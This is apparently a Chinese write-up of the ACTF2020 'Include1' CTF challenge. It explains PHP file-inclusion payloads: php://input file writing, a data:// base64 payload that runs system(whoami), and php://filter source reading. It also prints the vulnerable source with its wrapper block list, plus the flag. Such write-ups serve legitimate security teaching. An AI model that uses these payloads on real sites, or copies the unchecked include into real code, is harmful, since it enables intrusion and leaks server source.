[ACTF2020 新生赛]Include1

[ACTF2020 新生赛]Include1

1.我们打开之后发现 一个跳转网页
[ACTF2020 新生赛]Include1_第1张图片
2.分析过后 没有头绪看完大佬的说法

php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
    php <5.0 ,allow_url_include=Off 情况下也可以用
    php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
    http://localhost/include/file.php?file=php://input     //URL
    <?php fputs(fopen("a.php","w"),"")?>  //POST,创建一个文件a.php;并写入phpinfo
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:
    allow_url_include=On
    php > 5.2
例:
    http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
    http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径
防御:
    尽量使用安全版本的php
    做好php的安全配置
    对相应目录做相应权限设置
?file=php://filter/read=convert.base64-encode/resource=index.php

[ACTF2020 新生赛]Include1_第2张图片
3.去解析代码
菜鸟的bese 64 工具 https://c.runoob.com/front-end/693/
如下
[ACTF2020 新生赛]Include1_第3张图片

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo 'tips';
}
?>

4。我们在通过

?file=php://filter?read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Include1_第4张图片
flag{a297b599-a283-4aab-9a24-691bf5aff03a}

你可能感兴趣的:(极客大挑战,PHP总结,php,服务器,linux)